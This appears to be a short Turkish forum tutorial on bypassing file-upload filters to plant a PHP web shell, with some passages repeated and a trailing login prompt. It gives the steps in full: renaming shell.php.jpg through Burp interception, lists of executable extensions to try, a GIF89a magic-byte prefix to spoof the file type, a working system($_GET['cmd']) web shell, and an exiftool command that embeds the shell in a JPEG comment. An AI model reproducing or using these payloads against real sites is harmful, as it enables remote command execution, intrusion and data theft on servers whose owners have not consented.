Dosya uzantıları sistemin istediği şekilde ayarlanır. Post işlemi yapılınca araya burp vb araçlar ile girilerek örnek shell.php.jpg olarak belirtilen dosyanın uzantısı shell.php olarak değiştirilir ve sisteme post edilir.
php: phtml, .php, .php3, .php4, .php5, .inc
asp: asp, .aspx
perl: .pl, .pm, .cgi, .lib
jsp: .jsp, .jspx, .jsw, .jsv, and .jspf
coldfusion: .cfm, .cfml, .cfc, .dbm
GIF89a; Dosyanın başına GIF89a; eklenerek type olarak farklı algılanması sağlanır.
In image:
Exiftool aracı ile jpg dosyası manipüle edilir. İçerinsine php kodları gömülür ve dosya ismi değiştirilir.
mv lo.jpg lo.php.jpg
php: phtml, .php, .php3, .php4, .php5, .inc
asp: asp, .aspx
perl: .pl, .pm, .cgi, .lib
jsp: .jsp, .jspx, .jsw, .jsv, and .jspf
coldfusion: .cfm, .cfml, .cfc, .dbm
GIF89a; Dosyanın başına GIF89a; eklenerek type olarak farklı algılanması sağlanır.
Kod:
GIF89a;
<?
system($_GET['cmd']);//veya bu alana shell kodlarınız
?>
In image:
Kod:
exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' lo.jpg
Exiftool aracı ile jpg dosyası manipüle edilir. İçerinsine php kodları gömülür ve dosya ismi değiştirilir.
mv lo.jpg lo.php.jpg
Bu içeriği görmek için giriş yapın.
